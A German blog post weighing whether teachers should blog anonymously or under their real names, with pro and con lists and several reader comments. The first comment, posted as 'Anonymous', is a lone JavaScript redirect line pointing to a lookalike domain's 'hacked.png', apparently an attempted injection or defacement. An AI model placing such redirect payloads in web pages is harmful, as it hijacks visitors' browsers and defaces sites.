Sollen Lehrpersonen anonym bloggen?

Im deutschsprachigen Raum gibt es immer mehr Blogs von Lehrpersonen über ihren Unterrichtsalltag. Ihre Motivation schätzt Berthold Metz, der Betreiber des Portals lehrerfreund.de, wie folgt ein:

Lehrer stoßen in ihrem Alltag selten auf offene Ohren für ihre täglichen menschlichen Erlebnisse. Daher dient vielen besonders der anonyme Kanal im Web zur Verarbeitung. Dort gibt es mehr Freiheiten.

In einem Zeit-Artikel unterscheidet Hadija Haruna Blogs von Lehrpersonen danach, ob die Verfasserin oder der Verfasser anonym auftritt oder nicht:

Während viele anonyme Blogger vor allem ihren Frust ablassen, lustige bis heftige Anekdoten erzählen oder sich mehr Verständnis für ihr Dasein wünschen, schreiben andere mit Klarnamen und nutzen ihr Blog als modernes Archiv, erörtern Schulverordnungen oder geben didaktische Tipps. Sie machen ihrem Wissen Luft – auch um damit nicht allein zu sein.

Sierra Seifert, Society6.

Die Frage, wie sinnvoll es ist, anonym zu agieren, hat nun Lehrerfreund.de in einem ausführlicheren Post diskutiert. Ich möchte hier die wichtigsten Argumente verdichten. Für die Anonymität spricht:

  • Die Privatsphäre von Schülerinnen und Schüler, über die sonst kaum etwas berichtet werden könnte.
  • Das Risiko, von Vorgesetzten oder Behörden sanktioniert zu werden für kritische Bemerkungen.
  • Die Möglichkeit, offen über Gefühle, Unsicherheit und unprofessionelles Verhalten sprechen zu können.
  • Die Beziehung zwischen SchülerInnen und Lehrperson wird durch das Blog nicht tangiert.
  • Die Möglichkeit, spontan auch Unfertiges anbieten zu können, ohne dafür verantwortlich gemacht werden zu können.

Der Lehrerfreund-Beitrag suggeriert, nicht-anonyme Blogs seien oft sehr akademisch und ernst, weil sie auf die humorvolle Schilderung von Alltagserlebnissen verzichten müssen. Aber auch sie haben Vorzüge:

  • Nur bekannte Personen können glaubwürdig und konstruktiv Meinungen äußern und diskutieren.
  • Der Lehrberuf hat lange genug vor verschlossenen Türen stattgefunden: Offenheit ermöglicht, dass auch das Umfeld der Schülerinnen und Schüler am Unterrichtsgeschehen teilhat.
  • Vernetzung mit anderen Lehrpersonen in einem Persönlichen Lernnetzwerk finden mit Vorteil mit Klarnamen statt.
  • Um klare pädagogische und bildungspolitische Diskussionen führen zu können, muss der Kontext der Schule und des Unterrichts bekannt sein.
  • Anonymität befördert den Eindruck, Lehrpersonen könnten ihre Meinung nicht frei äußern.

Eine Empfehlung möchte ich nicht abgeben. Die Entscheidung hängt davon ab, weshalb eine Lehrperson bloggt: Geht es um die Dokumentation von Erlebnissen und das Loswerden von Gefühlen, empfiehlt sich ein anonymes Format. Steht der Austausch mit anderen Lehrenden im Vordergrund, müssen Methoden und Inhalte dokumentiert werden, was mit Klarnamen besser klappt.

(Übersichten über Blogs von Lehrpersonen bietet Lehrerfreund.de auch an: Hier, hier und hier.)

4 Kommentare

  1. Anonymous sagt:

    window.location=“http://wpcurve-wpengine.netdnassl.com/wp-content/uploads/2013/8/hacked.png“

  2. Tobias Di sagt:

    Ein Aspekt, den man m. E. nicht unterschätzen sollte ist die Elternschaft. Die meisten Eltern meinen sowieso schon zu wissen, was die Lehrer alles falsch machen und dass ihre eigenen Kinder nicht ausreichend gefördert werden. Wenn nun die Lehrer auch noch unter Klarnamen bloggen würden, gäbe es bestimmt noch mehr überflüssige Auseinandersetzungen.
    Ein anonymer Blog muss nicht unbedingt unseriöser sein. Ich lese gerne Lehrerblogs und zwar beide Arten gleichermaßen.

  3. britta sagt:

    Vielleicht will man ja im Netz mal nicht Lehrperson sein, nicht als Berufs- und Fachperson sich äussern. Soll man sich dann nicht zu erkennen geben? Risiko sanktioniert zu werden, das du erwähnst, nehme ich wohl nicht ernst genug, werde das aber stärker bedenken. Ist ja auch in Facebook die Frage, man muss nicht mal bloggen, um ins Fettnäpfchen zu treten.- Selber lese ich lieber Posts von Leuten, die sich zu ihren Meinungen bekennen, und wo man weiss, mit wem man es zu tun hat. – Um seine Gefühle loszuwerden, ist ein Spaziergang mit lautem Selbstgespräch ratsamer als ein Blogpost – da für andere nur mässig interessant.

    1. Klar – natürlich kann man auch einfach als »Mensch« im Netz agieren und Strickblogs oder Fotoseiten befüllen. Aber ich meine hier mal Blogs, die wirklich mit dem Unterricht zu tun haben… 
      (Dass Reden über Gefühle vor Publikum einfacher geht, ist ja eines der Paradoxe von Social Media: Man sagt Fremden, was man den engsten FreundInnen nie sagen würde.)

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